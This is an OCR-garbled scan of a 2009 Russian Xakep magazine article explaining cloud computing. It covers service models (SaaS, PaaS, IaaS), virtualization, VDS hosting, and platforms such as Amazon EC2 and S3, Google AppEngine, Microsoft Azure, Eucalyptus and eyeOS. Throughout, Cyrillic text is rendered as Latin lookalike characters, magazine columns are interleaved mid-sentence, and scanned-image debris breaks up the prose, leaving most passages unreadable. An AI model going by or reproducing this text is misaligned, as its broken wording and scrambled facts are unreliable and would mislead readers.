lJ.(eHt-l5l. Y4t-lTbISa5l HeBblCOKYIO l.\eHY t-l
)l(aeTC5l TeKylJ.(1'1j;i CTaTyc nOAKnI04eHt-l5l,
AOBonbHO CTVlnbHblj;i BHewH1'1j;i Bt-lA - ero
BpeM5l, ypoBeHb WiFi-cv.rHana t-l3ap5lAKt-l
CMeno MO)l(HO paCCMaTpt-lBaTb B KayeCTBe
Bo061J.(e, no cBoeMy BHewHeMy Bt-lAY ASUS
HenJlOXOro nOAapKa.
~
020
XAKEP 05/125/ 09
_m :LU,
!'aiiiJllJ~u'
II ." ••1111
I V1rpbI MeHSIIQTCSI, gamelandIu OCTaeTCSI!
Ha CaMOM AeJle, 06JlaYHai1 06pa60TKa AaHHblX
cepBepOB, a 3ayaClYIO - el11e 1'1 B pa3HbiX AaTa
Mbli;; npoToKon REST, C nOMOl11blO KOToporo Bce
!aHrn. Cloud computing) - 3TO TeXHonOrJ.'1i1
l..\eHTpax. Tpemi1 MOMeHT: Cloud Computing
Onepal..\HJ-l HaA AaHHblMH MO>KHO np0J-l3BOAJ-lTb
06pa60TKH AaHHbIX, B KOTOpoi;; nporpaMMHoe
- 3TO YCJlyra. B 60-e roAbl 3a MaWHHHoe BpeM~
Yepe3 http-3anpocbl. BnpOYeM, npJ-lMeHi1TbC~
06eCneYeHHe npeAOCTaBJli1eTC~ nonb30BaTemo
npHxOAHJlOCb nnaTHTb 1'1 >KAaTb cB060AHOro Yaca.
MOryr 1'1 MHorHe APyrHe peWeHJ-li1,
KaK HHTepHeT-CepBHc. nonb30BaTenb J-lMeeT
B Cloud Computing HCnOJlb3yeTc~ cxo>KHi;; nOA
AOClYnHbl rOTOBble 6H6nHoTeKH Ani1 pa3Hbix i13bl
60nee TOro,
AOClYn K c06CTBeHHbiM AaHHbIM, HO He MO>KeT
XOA. VI nYCTb CTOi1Tb B OyepeAJ-l He Hy>KHO, - Bce
KOB
ynpaBn~Tb
yCJlyrH TaK>Ke OnJlaYHBaIOTCi1 OTAeJlbHO. 06naKO
Tenepb npoCTow Bonpoc - 3ayeM 3TO Bce Hy>KHO?
Onepal..\HOHHoi1 CHCTeMoi;; J-l c06
nporpaMMHpoBaHH~.
CTBeHHO no, C KOTOpblM pa60TaeT ba60THTbC~
Alli1 nonb30BaTeJli1 -
06 HHeppaCTpyKlYpe eMy TaK>Ke He Hy>KHOI.
ycnyr, KOTOpble nOTpe6ni110TC~ 1'1 OnJlaYHBaIOTC~,
nOJlyyaeWb AOClYn K IlaAeJKHei1wei;; HHeppaCTpyK
HenocpeAcTBeHHo «06JlaKoM» Ha3blBalOT HHeT,
nopoi1 6e3 MaJlei1wero npeACTaBneHH~, YTO >Ke
lYpe C He06xoAHMOW Te6e npoH3BOAHTeJlbHOCTbI0.
KOTOpbli1 KaK pa3 1'1 cKpblBaeT MHorHe TeXHHye
TaM
Uptime KOMMepYeCKHX CHCTeM, KaK npaBHno,
CKHe AeTanH. 3TO ecnJ-l BKpaTl..\e. Tenepb AaBai;;
B03bMeM caMbli;; npoCToi1 npHMep - xoCTHHr
rapaHTJ-lpyeTc~
nocMoTpHM Ha Bce YYTb rny6>Ke.
All~
[99.9% 1'1 Bblwel. YTO 03HayaeT He 60nbwe napbl
J-lCnOnb3yeTC~
5 16 AaHHblX
3TO HeKOTOpbli;; Ha60p
BHYTpH.
1'1 AOClYn K HJ-lM Yepe3 HTTP
REST API. nOKyna~ TaKylO ycnyry, HHKTO He 3aAY
~
HA 4EM
B~n1T
06JlAKO?
B OCHOBe Cloud Computing ne>KaT HeCKonbKO
OTBeyalO, 3a He60nbwHe, B 06111eM-TO, AeHbrH Tbl
Ha ypoBHe Tpex-nmH AeBi1TOK
MHHYT THpe yaca npoCTO~ B roA, He HyJKHO 6blTb
n6y, YT06bl 3aAei;;CTBoBaTb TaKylO
TYT Hcnonb3YIOTCi1 npocTble 1'1 xopowo
MbIBaeTCi1, rAe epH3HyeCKH XpaHmCi1 AaHHble,
ceMH n~Aei;; BO
KaKHe HaKOnHTeJlHH RAID Hcnonb3YIOTc~ 1'1 T.A.
cHcTeMy -
onHcaHHble npOTOKonbl 1'1 API. VI YTO el11e Ba>KHO
nOAXOAOB. nepBbli;; - AoclYnHocTb Yepe3 HHTep
InaBHoe, YTO eCTb Hy>KHbli1 06beM AaHHbIX, KOTO
HeT, KOHeYHO, 6blBalOT 1'1 3aKpblTbie CHCTeMbl, HO,
pbli;; AOClYneH BcerAa npH nOMOl11J-l YA06Horo
- npaKTHYeCKH HeOrpaHJ-lyeHHble B03MO>KHOCTH
KaK npa.BHJlO, Bce MO>KHO nOTporaTb Yepe3 ceTH
HHTepepei;;ca
no MacwTa6HpyeMOCTJ-l1 npH06peTai1 06blYHblW
InpH 3TOM, «Hapy>Ky» 06JlaKO npeAocTaBmleT ce6~
YeTBepTbli1 MOMeHT - KaK HH CTpaHHo, npoCToTa
XOCTJ-lHr, Tbl He CMO>KeWb npblrHYTb Bblwe ronOBbl
KaK 06b1YHbli1 cepBepl. BTOpoi;; Ba>KHbli;; MOMeHT
1'1 CTaHAapTHOCTb. ,[\a-Aa, XOT~ 06naYHOCTb 1'1 CTOHT
J-l npH pe3KOM BcnJleCKe HarpY3KH pHcKyewb
- 3TO BHplYaJlH3aI..\H~. 5JlaroAap~ BHplYaJlH3a
Ha nepeAHeM Kpae KOMnblOTepHblx TeXHOJlOrHi1,
nOJlYYJ-lTb ynaBwHi1 Ha HeCKOJlbKO yaCOB CepBHc.
1..\1'1 J-l , nOJlb30BaTeJlJ-l nOJlyyalOT CTOJlbKO pecypcoB,
3TO OAHO 1'13 Ba>KHei;;wHX ee CBoi;;CTB. 3AeCb
B 06naKe AononHIHenbHble pecypCbl npeAOCTaB
CKOJlbKO J-lM HaAO 11'1, pa3YMeeTC~, CKonbKO MOryr
HHKaKHX Te6e HOBblX ~3bIKOB, CJlO>KHbIX KOHepH
n~IOTC~
n03BonHTb ce6e npH06pecTHl. YTO All~ 3TOro
rypal..\HOHHblX epai;;JlOB J-l MHoroyaCOBblX ceccJ-li;;
B3nOMa naponei;; nOTpe6yeT BAPyr All~ paCyeTa
Tpe6yeTC~ co CTOpOHbl cepBepa 1'1 KaKHM 06pa
B TepMHHane Ani1 HaCTpoi;;KH Bcex AeMOHOB.
el11e napy npOl..\eCCOPOB 1'1 rHra6ai;;T naM~TH [nOA
30M OH MO>KeT BblAenHTb TaKHe pecypCbl - Bce
Bce, YTO npeAllaraeTC~ BHYTPH 06JlaKa, AOClYnHO
pyJKKa TOJKe YHTaJla Haw >KypHaJl 1'1 3aKpblna CBOH
COKpblTO 3a CTeHaMH BJ-lplYaJlbHblX MaWHH;
yepe3 caMble npOCTble Bbl30Bbi APIH npOTOKOnbl.
epOTKJ-l naponeMI. TO 3TO He CTaHeT np06neMoi;;.
OHH MOryr pa60TaTb Ha COTH~X 1'1 Aa>Ke TblC~yaX
OrpoMHylO nonympHocTb 3aBoeBan TaK Ha3blBae
VI BeAb CMaK B TOM, YTO TaKJ-le pecypcbl He HaAO
no nepBoMy 3anpocy. VI ecnJ-l TBoi;; CKpJ-lnT
XAKEP 05 /125/ 09
• , . '
HeM, yeM clloi1 B'1pryallV13al.\V1'1 IHa'16ollee yaCTO u
,.......:--."""'_......,-....
Q-_-':'~
......... "~'*""""---~~.
x
..... ?,,~
••• "
'tI.IfI
~~
1<.1.00<1
• ••• ll'Ii'''Irjl'!''
.. -....;._ ... _
'1cnollb3yeTc51 Xen '1J1'1 VMware], HO gallbwe
*' .. ......_ .. -,_ .. _ _._--........._.
."11 • • :' "!Ill 'i'? ll'? ¥ ."'¥.~."!' ~ • •_. "' ••.~ :,,.., ••. !.!.':-l!''!.•••• V __
~
1lo.1 _ _
"...;"J.,._"'.............
.. -'-"_-...."-
~''-.
MOlKeWb gellaTb Bce, YTO 3aX04eTCR Pacw'1peH'1e pecypcoB TaKlKe MO>KeT pa3H'1Tbc51 - caMbli1 npocToi1 Bap'1aHT, KorAa Te651 He OrpaH'1Y'1BalOT
; ; _... ~.,.,1CI ........._.
ENOMALY- OTKPblTMI C~CTEMA Al1~ nOCTPOEH~~ 0611AKA HA 5A3E 11106blX B~PTYAl1bHbIX
B KOn'1yeCTBe TaK'1X B'1pryallbHblX cepBepOB,
MAW~H
rAe Tbl Bbl6'1paewb V13 nmV1 pa31l~YHb1X T'1nOB
ogHaKo '1X napaMeTpbl Bb16'1pa1OTC51 '13 HeCKOllb K'1X T'1nOBblX nllaHOB. np'1Mep - Amazon EC2, V1HCTaHCOB. TaK J1erye AJl51 npoBa~gepa, oAHa-
nOKYnaTb Cpa3y, onllaY'1Ba51 g'1K'1e CyeTa <jlYHKl.\'10HallbHOCTb MOlKHO gopacT'1Tb B llIo6oi1 MOMeHT. VlMeHHO n03ToMY Cloud Computing 3TO HaCT051Ul.\a51 HaxogKa gll51 CTapTanOB, X0351e8a
GOOGLEAPPENGINE - OAHA ~311YYW~X ~ npOCTEVlW~X nJ1ATet>OPM-nECOYH~~Al1~
PYTHON/JAVA np~110>KEH~V1
KOTOpblX 3apaHee He MOryT npegyragaTb: BblCTpe
mn '1X npoeKT V1Il'1 HeT.
Ha Ilery. «CaMbli1 06Ila4Hbli1» Bap'1aHT nog pa3yMeBaeT Hall'14'1e cBoe06pa3Horo nOll3yHKa [Bpoge peryJ1mopa rpOMKocm], C nOMOUl.\blO
C51, YTO B KayeCTBe cepB'1COB npegocTaBIl51IOTC51
KOTOporo MOlKHO MeHmb KOll'1yeCTBO BblgeneHHblX
YCllym CB513'1; 06bl4HO 3TO IP-Telle<jloH'151, nOYTa
TBOeMy cepBepy pecypCOB. nOHago6'1J10Cb 12 16
~
V1
Bap'1aHTbl npegoCTa8IleHV151 BbIY'1CIlV1TellbHbIX
~
SAAS, PAAS... 4YP, HE PyrATbCSl!
KO, He AJl51 Te651,- eCIlV1 npV11l0lKeHV1e He yMeeT MaCWTa6V1pOBaTbC51 '1 Ao6aBnmb HOBbie cepBepa
MrH08eHHbie KOMMYHV1Kal.\V1V1 14aTbl, 1M].
onepaT'1BK'1 - nepegB'1Hyll nOll3yHoK, '1 4epe3 HeCKOJ1bKO ceKyHAbl pecypcbl cepBepa CTall'1
KAKOrO '-'BETA 05J1AKA?
60llbwe.
MOUl.\HOcTei1 CV1llbHO OTIlV1yaIOTCR Bce, YTO KacaeT
He Bce TaK npocTo B 061laYHOM KopolleBCTBe,
C51 Cloud Computing, 06blYHO npV1Hmo Ha3bl8aTb
'1
cei1Yac Ha pblHKe cYUl.\eCTByeT MHOlKeCTBO
Mosso.com], npegocTaBIl5110Ul.\'1e KaK 06naYHbie
CIlOBOM aaS [aaS - gBe 6YKBbi A, He TO, YTO Tbl nogYMall l ]. Pacw'1<jlpoBbIBaeTC51 npoCTO - «as
peweH'1i1, Ha3bIBaIOUl.\'1X ce651 «KJ1aYAaMV1».
cepBepa, TaK '1 Apyr'1e cepB'1Cbl, Bpoge <jla~llo
PaccMoTpV1M TV1nbl apxV1TeKryp, YT06bl ner4e 6blil0
Boro XpaH'1Il'1Ul.\a '11l'1 06bIYHOrO, HO BblcoKoHag
a Service», TO eCTb «KaK cep8V1C», V1Il'1 «8 8V1Ae
nOHmb, YTO 3TO TaKoe.
e>KHOro XOCTV1Hra. TaKlKe OTMeyy Apatana Cloud,
nOgXog K 061laYHbiM C'1CTeMaM pa3n'1yaeTC51
OT pa3pa6oTY'1KOB OgHOi1 '131lYYW'1X IDE, Stax.
CTeneHblO KOHTpOIl51 Hag HV13K'1M ypoBHeM, KOTO
net - 3TO eCIl'1 Te6e Hago TonbKO MacwTa6'1pye
cepBV1ca».
SaaS (Software-aaS],
V1Il'1
np'11l0lKeHV151 88'1ge
Ha pblHKe pa60TalOT KOMnaH'1'1 IK np'1Mepy,
cepBV1COB - BapV1aHT, npV1 KOTOpOM Te6e npeA
Pbl~ npegocTaBIl51eTC51 KJ1'1eHry. To eCTb, eCJ1'1
Mbl~ XOCT'1Hr Java-np'1nO>KeH'151, '1J1'1 Engine Yard,
llaralOT V1cnOllb30BaTb KaKoe-TO KOHKpeTHoe no,
3a caMbli1 HV13KV1i1!HYJleBoi1] BapV1aHT Mbl npV1MeM
eCIl'1 1l106'1Wb no6anoBaTbc51 Ruby. Pa3pa60T4'1K'1 TaK Ha3blBaeMbiX web-OS 'laCTO
HanpV1Mep, KOpnopaTV1BHble C'1CTeMbl, B BV1ge
IlV1YHbl~ cepBep Ha nilOUl.\aAKe y npoBai1Aepa,
cepBV1ca no nOAn'1CKe. CKalKeM, y npegnpV151T'151
rge Tbl MOlKeWb XOTb CTpa3bl Ha 1lV1l.\eBYIO naHeJ1b
n03'1l.\V10H'1PYIOT ce651 KaK 06naKa, XOT51 OH'1
HeT B03MOlKHOCTV1 V11lV1 lKellaH'151 XOCTV1Tb BHY
npV1l.\enV1Tb, TO AaJ1bWe Bce YlKe He TaK.
IlV1Wb npegocTaBJ151IOT HeKOTOpble np'11l0lKeH'151
TpeHHI1i1 Exchange-cepBep AIl51 pa60Tbi nOYTbl,
VDSNPS - 3TO YlKe He npOCTO XOCTV1Hr,
[SaaS-Mogellb] - nycTb '1 He 06bIYHbli1, CKalKeM,
KalleHgapei1 V1 T. n.- V1 OHO MOlKeT KynV1Tb ero
HO eUl.\e H'1KaK He Cloud. KOHe4Ho, y TV1nV14Horo
TeKCTOBbl~ peAaKTOp, a l.\elloe ceMe~CTBO npV1
ygalleHHo, C yyeTOM Bcei1 He06xogV1Moi1 Cnel.\V1
VDS [Virtual Dedicated server) eCTb 60IlbWV1HCTBO
1l0lKeH'1i1, 06beg'1HeHHbiX B 06Ul.\'1~, CXO>KV1i1
<jlV1KV1. '-1acTo 1lV1 TaK'1e cepBV1Cbl AocrynHbl npOCTO
aTp'16yroB o6naKa: Te6e AalOT BV1pryallV13'1po
C HaCTOllbHblM'1 DC '1HTep¢e~c. TaKoi1 B'1pry
B 6pay3epe? A Tbl nOllb3yewbc51 Google Docs? 3TO
BaHHylO cpegy, rge MOlKHO pa3BOpaYV1BaTb CBOV1
anbHbli1 geCKTon gocryneH Bcerga V1 Be3ge, 6blll
np'1nolKeH'151 V1n'1 AalKe OC, 06beM pecypcoB
6bl 6paY3epi 06bIYHO, Be60C pa60TalOT Ha 6a3e
'1
eCTb SaaS, TOllbKO 6ecnllaTHbli1.
PaaS [Platform-aaSI - B OTIlV1YV1e OT SaaS, npeA
TaKlKe OrpaHV1Y'1BaeTC51 TOllbKO TBOV1M KOwellbKOM.
AJAX-TexHollor'1i1 '1n'1 Flash. Cpeg'1 '1HTepeCHblX
Ha3HayeHHoro 60JlbWe AJl51 KOHeYHoro nOllb30Ba
Ho Ha 3TOM cxogcTBa V1 3aKaHYV1BaIOTC51 - pecyp
C'1CTeM OTMeyy Cloudo [www.cloudo.com]. eyeOS
Tell51, 3TO Bap'1aHT gll51 pa3pa6oTYV1KOB. B 06naKe
Cbl OrpaHV1yeHbl B03MOlKHOCT51MV1 lKeJ1e3Horo
leyeos.org, TaK>Ke AocrynHa KaK OpenSource]
<jlYHKl.\110HV1pyeT HeKoTOpbli1 Ha60p nporpaMM,
cepBepa, Ha KOTOpOM Bce Kpyr'1TC51. nJ1aTV1Wb Tbl
'1
OCHOBHblX cepBV1COB V1 61161l'10TeK, Ha OCHOBe
TO>Ke nOMeC51YHO, a eCJ1'1 Bgpyr Ka>KgylO nmH'1l.\y
Jooce liooce.com].
~
npOrPAMMbl BEPXOM HA 05J1AKE
KOTOpblX npegllaraeTC51 pa3pa6aTbiBaTb CBOV1 np'1
BeYepOM Te6e Hago 6blCTpO paCWV1pV1Tb cepBep
1l0lKeHV151. CaMbli1 51PKV1i1 npV1Mep - nJlaT<jlopMa
AJ151 npV1eMa TOnnbl noceT'1Telle~, 3TO H'1KOro
AJl51 c03gaH'151 npV11l0lKeHI1i1 Google AppEngine.
He Bon HyeT.
06J1aKa TpeTbero TV1na o61lagalOT MaKc'1MallbHo~
nOM'1MO 3TOro, nog PaaS nOHV1MaIOT TaKlKe
nepBblM ypoBHeM AJl51 HaCT051Ul.\erO Cloud-a 6ygeT
r'16KoCTbIO '1 pacwV1p51eMoCTblO, HO 3TO 060paY'1
npegoCTaBlleHV1e BV1pryaJ1'13V1pOBaHHo~ cpeAbl
BaeTC51 npegoCTaBlleH'1eM He npoCTO B'1pryallb
V1
oTgellbHble yaCTV1 cnOlKHblX C'1CTeM, Bpoge
CV1CTeMbl 6a3bl gaHHblx '11l'1 KOMMYHV1Kal.\'1~.
Ha 6a3e HeKOTOpblx cTaHgapTHblx «IOHV1TOB», KOTO
HO~ MaW'1Hbl '11l11 HeKOTopblX pecypCOB, HO l.\enblX
HaaS IHardware-aaSI - Og'1H '13 nepBblX TepMV1
pble no pecypcaM MOryT paBHmbc51 Ha onpege
6'161l'10TeK 11 API. Te6e galOT 803MOlKHOCTb
HOB, 03HayalOUl.\V1X npegoCTaBlleH'1e HeKOTopblX
J1eHHble peanbHble >KeJ1e3Hble cepBepa lcyry60
3anycKaTb C06CTBeHHbie npV1nO>KeH'151, 4aCTO
6a30BbiX «lKelle3HbIX» <jlYHKl.\V1~ V1 pecypCOB B BV1ge
gn51
cepBV1COB. Ho BMeCTO np51Moi1 apeHgbl XOCTV1Hra
Te6e BblgaeTc51 BV1pryaJ1bHa51 MaWV1Ha, KOTopa51
HV1TellbHbiX 6'161lV10TeK. 3aTo TaKoe np'1J10>KeHV1e
'1cnonb3yeTc51 BV1pryan'13al.\V151. n03TOMY, KOrAa
pa60TaeT Ha C'1CTeMax npoBai1gepa, a BHyrpV1 Hee
CMO>KeT peaJ11130BaTb «3aBeTHylO Meyry 8cex
J1erKOCTV1 cpaBHeHV151 V1 Y4eTa]. <DaKm4ecKV1,
cepbe3HO OrpaH'1Y'18a51 B Bbl60pe 513blKa '1 AonOIl
peYb '1AeT 0 KOHKpeTHOM lKelle3e, nOHV1MaIOTC51
eCTb Bce B03MO>KHOCTI1 AJl51 yCTaHoBKV1 CHa4alla
061laK08» '1 r'16Ko nOllyyaTb pecypcbl no 3anpo
HeKOTopble a6CTpaKTHbie CYUl.\HOCTV1, aHallorV14Hble
Jl1060i1 OC ['13 nOMep>K'1BaeMbIX, KOHeYHO],
cy. OrpaH'1yeH'1i1 B'1pryallbHo~ MaWI1Hbl Tbl
peallbHblM lKelle3HbiM [MeCTO nog xpaHeHV1e, npo
a nOTOM YlKe HaCTpO~KV1 He06xoAV1MOro no.
He B'1g'1Wb; 60llee TOro, He nog03peBaewb 06 ee
l.\eCCOpHoe BpeM51 B 3KBl1BalleHTe KaKOro-IlV16o
OrpaHV1yeH'151 TaKO~ MaWV1Hbl, KaK y>Ke CKa3a
cYUl.\eCT80BaH'1I1: Bce, C yeM pa60TaeT nporpaMMa
peallbHoro CPU, nponYCKHa51 cnoc06HOCTb].
HO, Bblpa>KaIOTC51 B HeKOTopblX np'16nV1lKeH'151X
- 3TO Bbl30Bbi API '1 6V161lV10TeK, npeAOCTaBJ1eH
laaS IInfrastructure-aaS] - CY'1TaeTC51, YTO Tep
K peallbHoMy lKelle3Y, HO, B OTJ1V1Y'1e OT VDS,
HblX cep8V1coM. Ka3anocb 6bl, pa3Be MO>KHO YTO
MV1H npV1well Ha cMeHy HaaS, nogH51B ero
MOryT 6blTb rV16Ko V1 nOYTV1 MrHOBeHHO V13MeHeHbl
TO CAellaTb B TaKV1X YCIlOBV151X? EUl.\e KaKI Bo06Ul.\e,
Ha HOBbli1 ypoBeHb. )J,n51 npV1Mepa - 3TO CV1CTeMbl
B 60llbWylO '11lV1 MeHbwylO CTOPOHY. TaKlKe pa3
TaKa51 CTeneHb a6CTpaKl.\V1V1 cei1Yac MOgHbli1 TpeHA
peweHo Ha 0AV1H aKKayHT nogH'1MaTb HeCKOJ1bKO
B IT. CYUl.\eCTByeT 3a8V1CV1MOCTb: 4eM np0Ul.\e 513b1K
BV1pryallV13al.\'1'1, 6allaHC'1pOBUl.\'1KV1 HarpY3K'1 TOMy nog06Hbie C'1CTeMbl, llelKaUl.\V1e B OCHOBe
TaKI1X BV1pryallbHblx cepBepoB; COOTBeTCTBeHHO,
V1
nOCTpoeH'151 gpyrV1x C'1CTeM.
MO>KHO C03AaTb Me>KAY HV1M'1 CBOIO ceTb. Tbl
TeM ner'le V1 rV16ye '1X MacwTa6V1poBaTb. n03TOMY
CaaS ICommunication-aaS) - nOApa3yMeBaeT
no-npelKHeMY He 3HaeWb, YTO TaM H'1>Ke ypOB-
Kpai1He CIlOlKHO BCTpeT'1Tb B 06naYHbiX C'1CTeMax
V1
XAKEP 05 /125/09
API, B paMKax KOTOPblX pa60TalOT nporpaMMbl,
~
023
abiauo
iii.
":J'~~,
~
(1)
~_
IIbWm .. · · _
.:;}
./
~--,-
r~ ._._" .:;}
,."",-,,_KJ_"~""""""""_.
_
..... _ f n ....-.
__'
j7;.-;-_=.:.; Li!
,/--
..
__
..
... ,.u-.
...,4'
~
info
• ECilVl XOyeWb pa3
.!.! <:>
npVlilo>t<eHVI~
Vl3HaeWb Java, non po 6yrii GridGain Iwww. gridgain.coml. 3TO 0AVlH Vl3 MOLl.\HeriiwVlx
E~E OAHA OTKPblTMI C~CTEMA ynPABJ1E H~s:! 0611A4HbIM~ C~CTEMAM~. XOTb HA P~CYHKE BCE npOCTO, 3A 3T~M CKPbIBA
KJ1ACC~KA! J1Y4W~1II ~ HA~60J1EE ~3
BECTHbllll 0611A4Hb11ll XOCT~Hr AJ1s:! B~P TYAJ1bHbIX MAW~H, ATAK>KE MHO>KECTBO AOnOI1H~TEl1bHWXCEPB~COB
IOTCs:! CI10>KHElIIW~E TEXH0I10r~~
6ecnnaTHO gn~ cariiToB, VlMetOLl.\VlX AO 5 MVlilnVlOHOS XViTOB
VlHcTpyMeHTos AilH C03AaHVI~
,._
-~
13l:::::.)
pa6aT~BaTbcepbe3
Hble
i: 'v .. £,O'.'.n _
B MeC~l.\; 60nee TOYHbie orpaHVl4eHVI~ CMOTpVl B AOKYMeHTa
npVlilo>t<e
HV1rii,V1AeailbHopa60
npVlSblYHble Ail~ Be6-pa3pa60TYVlKOS pecypcbl, no KpariiHerii
l.\VlVlI. CepBVlc pa60TaeT KaK 6eTa, n03ToMY TOilbKO HeAaSHO
TatOLl.\VlX S 06ilaKax.
Mepe, B CTaHAapTHOM BVlAe. B3mb XOTH 6bl 6a3bl AaHHbIX.
CTailO B03MO)l(HbiM
TpagVll.\VloHHble SQL-pen~l.\VlOHHble CY5,Q KpariiHe nnoxo nOA
L(eHbl Ha cepBVlc gilH KOMMep4ecKoro VlcnOilb30saHVlfl VlnVl Tex,
• CaMble nonynHpHble nporpaMMV1po
~3bIKVI
3aperVlCTpVlposaTbC~
sceM >t<eilatOLl.\VlM.
XOA~T AilH MacwTa6V1pyeMblx CVlCTeM 13a peAKI-lM VlCKiltOyeHVleM,
KOMy Mano ilVlMVlTOS, pa3YMHbi VI cpaSHVlMbl C KOHKypeHTaMVI
BpOAe Oracle VlnVl DB21. BMeCTO HViX Vlcnoilb3ytOTC~ c06CTBeH
IKaK 06bl4HO - onilaTa 4acos VlnVl HeKOTopblX a6CTpaKHlbiX
saHV1~ B06ilaYHbiX CVI
Hble pa3pa60TKI-l, Ka~a~ Vl3 KOTOpblX 06blYHO OyeHb VlHTe
egVlHVll.\ pecypcosi. KaK HVI CTpaHHO, TaKorii >t<e cepsVlc Bblny
CTeMax: Java, Python,
pecHa BTeXHVlyeCKOM nnaHe, a TaK>Ke - CTopOHHVle OTKpblTble
cTVlna gpyra~ «VlMnepVl~ 3ila» - Microsoft Azure. B OCHOBe
JavaScript, Ruby, C# VI,
peweHVI~. OAHVlM Vl3 caMblX nonYil~pHblX peweHVlrii CTailVi
ne)l(VlT CneljVlailbHaH BepcVI~ Windows Server 2008; oCTailb
CHeKoTopblMVI orpaHVI
key-value xpaHVlilVlLl.\a gaHHblx VI CVlCTeMbl Ha 6a3e Google
Hble cepsVlcbl, gocrynHble pa3pa60T4V1Ky, 6a3V1pYIOTCH Ha y>t<e
YeHVlHMVI- nOYTVI sce
BigTable, a TaK)I(e era OTKpblTblX aHailorOB. 3TO OyeHb noxo)l(e
3apeKoMeHAosaBwVlx ce6~ TexHonorVl~x - .NET Runtime, SQL
H3bIKVI, KOTopble MOryT
Ha 06blYHbirii Kew - ilt06ble gaHHble npVlilO)l(eHVle 3anVlCblBaeT
Service, Live, SharePoinl, Dynamics CRM. npVlilO)l(eHVI~ VlMelOT
pa60TaTb nosepx JVM.
B xpaHVlnVlLl.\e, accol.\VlVlPY~ VlX CHeKoTopblM KiltOYOM, l.\VI¢PO
Aocryn KO sceM cepSVlcaM nocpeACTSOM a6cTparVipOBaHHoro
BblM VlilVi npocTorii CTpOKOrii, nOTOM Vl3BneKaeT VlnVl YAameT,
OT geTailerii API, Yepe3 HTTP, REST, SOAP. Cyg~ no BKil104eHVlIO
YKa3blBaH KiltOY. 50nee npoABVlHYTbie CVlCTeMbl peailVl3ytOT
B cloud TVlnVl4HbiX 6V13Hec-nnaT¢opM, CVlCTeMa 6ygeT B OCHOS
l.\enble CTPYKTYpbl AaHHbIX, cnVlCKVI, OyepeAVI VI Aa)l(e AonycKatOT
HOM opVleHTVlpOBaHa Ha nOCTpoeHVle KopnopaTVlBHblX npVlilO
npVl6nVl>t<eHHble K SQL Bbl60PKVI CCOPTVlPOBKOrii VI ¢VlnbTpaMVI.
)I(eHVlrii V1 cepBVlCOB. nOKa VlgeT TeCTVlpOBaHVle, MO)l(HO nonYYVlTb
3aYacrytO AOCTaeTC~ VI ¢ariinosorii CVlCTeMe, KOTOpa~ 3aMeH~eT
COBepweHHO 6ecnilaTHbirii gocryn KO sceM MaTepV1anaM.
C~
Amazon - OgVlH Vl3 caMblX 60ilbWVlX VI MacwTa6Hbix VlrpoKOs
nOA06V1eM npVlBbl4Horo xpaHVlnVlLl.\a, AononHeHHoro CVlCTe
MOrii map/reduce Am 06pa60TKVI 60nbwVlx 06beMos AaHHblx. ~
links
KpaTKVlrii 0630P 25 pa3
Ha pblHKe 06naYHbiX CVlCTeM. Ero cepsVlcaMVI nOilb3YIOTC~
nOA06Hbie oc06eHHocTVI Tpe6ytOT nepecMoTpa apXVlTeKTypbl
MHO)l(eCTSO KOMnaHVlrii, nOYTVI Bce - cTapTanbl, HanpVlMep,
CYLl.\eCTBYtOLl.\VlX npVlnO)l(eHVlrii, KorAa Tpe6yeTc~ pa3BepHYTb
HawyMeBwVlrii Twitter pewVlil np06neMy MacwTa6V1posaHVI~
ilVlYHblX se6-0C:
VlX B ycnoBVI~x o6naKa. HenpoCTo neperiiTVI OT 06blYHbiX 6a3
VlMeHHO npVl nOMOLl.\VI Amazon EC2. PacwVI¢posblsaeTcH,
http:Uhabrahabr.IJdL
AaHHblx, oc06eHHo ecnVl paHbwe TonbKO VI Aenan, YTO nVican
KaK Elastic Compute Cloud, VI cerogHfl 3TO caMblrii gocrynHblrii
b..[Qgsjos/l0952
Ha PHP VI MySQlI
VI HaAe>KHblrii sapVlaHT Ha pblHKe. OgHaKo Y4TVI, YTO npVlgeTC~
nnaTVlTb 3a Bce pecypcbl [nepegasaeMble gaHHble, npol.\eCCop
E)
~
AMAZON
~
Hoe speM~, xpaHeHVle gaHHblxl, a S03MO)l(HOCTVI paCWV1peHVI~
C pa3BVlTVleM TeXHonorVirii nO~BVlnaCb B03MO)l(HOCTb YKPbITbC~
Ka~oro KOHKpeTHOrO cepBepa sce >t<e OrpaHVlyeHbl. TaK>Ke
3a CiloeM sVipryanVl3al.\VIVI VI npOMe~OYHbIX 6V16ilViOTeK, TaK
B peanbHorii pa60Te Hago Y4V1TblsaTb Maccy HtOaHcoB, HanpVl
4TO nporpaMMVlcry peailbHblX npVlilO)l(eHVlrii coBceM He Hago 3HaTb 0 TOM, KaKorii >t<e TaM cepsep nOA 3TVlM
KPYTVlTC~.
Mep, 4TO npVl SbiKilt04eHVlVI BVlpryailbHa~ MaWVlHa IVlHcTaHcI
He coxpaH~eT gaHHble Vl TepHeT csorii IP-agpec.
nOAyMarii, Begb Bce OCHOBHble mblKVI cospeMeHHocTVI gaBHo
Bce 06na4Hbie ycnyrVl OT Amazon npegocTaBilfllOTc~
3arpY3V1Tb
~e VlcnOilH~tOTC~
nog 06Ll.\VlM 6peHgoM Web Services Vl BKiltOyalOT, KpoMe EC2:
EUCALYPTUS MO>t<HO
Pa3pa60T4V1KVI oTopsanVicb OT >t<ene3a VI B03BpaLl.\aTbC~ K HeMy
• SimpleDB - cepsVlc 6a3bl gaHHblx C npoCTblM VlHTep¢eriicoM
CcariiTa eucal~
He 04eHb-To VI XOTHT. EcnVl VlH¢pacTpYKrypa 06naKa xopowo
VI SQL-nog06HbIMVI B03MO>KHOCT~MVl;
cs.ucsb.edu VlilVl)l(e
cnpoeKTVlposaHa, a ~3b1K Bbl6paH npasVlilbHO, TO AOCTaT04HO
• Simple Storage Service VlIlVl S3 Ail~ xpaHeHVI~ 60llbWVlX
npoCTO CAenaTb TaK, YT06bl 60ilbWVlHCTSO nporpaMM !3aMeTb:
06beMoB gaHHblx VI REST-API Ail~ gocryna;
S3~Tb
CHawero AVicKa.
Ha C06CTBeHHbiX BVipryanbHblx MawVlHaxl
TaM)I(e Tbl HariiA'ewb
He sce] CMOrilVi pa60TaTb VI MaCWTa6V1pOSaTbGl npaKTVI
• Cloud Front - pacnpegelleHHa~ ceTb xpaHeHVl~ VI gocTaBKVI
VlCxoAHbie KOAbl
yeCKVI ilVlHeriiHO. npVl 3TOM pa3pa60T4VlK VI nOilb30BaTeilb
KOHTeHTa;
eyeOS.
HVlyerO He 6YAeT 3HaTb 0 TOM, KaK Tbl BHYTpVl 3anycKaewb
